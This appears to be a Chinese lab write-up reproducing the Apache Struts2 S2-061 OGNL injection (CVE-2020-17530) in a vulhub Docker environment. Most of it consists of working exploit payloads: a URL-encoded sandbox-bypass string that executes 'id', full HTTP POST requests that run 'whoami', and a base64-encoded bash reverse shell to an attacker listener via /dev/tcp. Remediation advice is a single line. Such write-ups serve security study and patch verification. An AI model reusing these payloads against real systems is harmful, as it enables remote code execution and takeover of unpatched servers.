Struts2 S2-061 远程命令执行漏洞（CVE-2020-17530）复现

漏洞简介

        Struts2框架是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API，鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心，吸收了Struts框架的部分优点，提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。

漏洞概述

        Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530)，在使用某些tag等情况下可能存在OGNL表达式注入漏洞，从而造成远程代码执行,可能照成控制服务器等危害。S2-061是对S2-059沙盒进行的绕过

影响范围

        Apache Struts 2.0.0-2.5.25

环境搭建

1. 本次漏洞环境使用vulhub中的docker搭建，vulhub下载地址：

GitHub - vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose

2.下载完成后使用xftp传入安装有docker和环docker-compose境的虚拟机中解压并启动环境

cd vulhub-master/struts2/s2-061

docker-compose up -d

3.使用docker ps查看是否启动成功

如果端口被占用就进入docker-compose.yml修改端口

在浏览器访问目标地址http://your-ip:8080

漏洞复现

在url处使用一下payload验证漏洞是否存在。注：需要使用url编码，在查看元素查看结果

?id=%25%7b+%27test%27+%2b+(11+%2b+11).toString()%7d

方法一，可以看到执行相加，这里直接构造payload执行命令，放在hackbar上执行

?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))}

方法二，在首页使用burp抓包发送到重放模块，并修改成POST传输

经过几次尝试终于成功。

Payload:

POST / HTTP/1.1

Host: 192.168.0.216:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5DQYTI1H

Content-Length: 817


------WebKitFormBoundary5DQYTI1H

Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}

------WebKitFormBoundary5DQYTI1H--

反弹shell，反弹命令需要使用base64编码

编码地址：http://www.jackson-t.ca/runtime-exec-payloads.html

或者用burp工具

bash -i >& /dev/tcp/192.168.0.216/5563 0>&1

kali机开启监听

构造的payload如下：

POST / HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1456


------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{
(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + 
(#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + 
(#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + 
(#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + 
(#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMjIyLzU1NjMgIDA+JjE=}|{base64,-d}|{bash,-i}'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

漏洞修复建议

        建议升级至最新版本

自己根据上课以及网上的一些资料将漏洞复现出来，步骤有点简略，请各位见谅。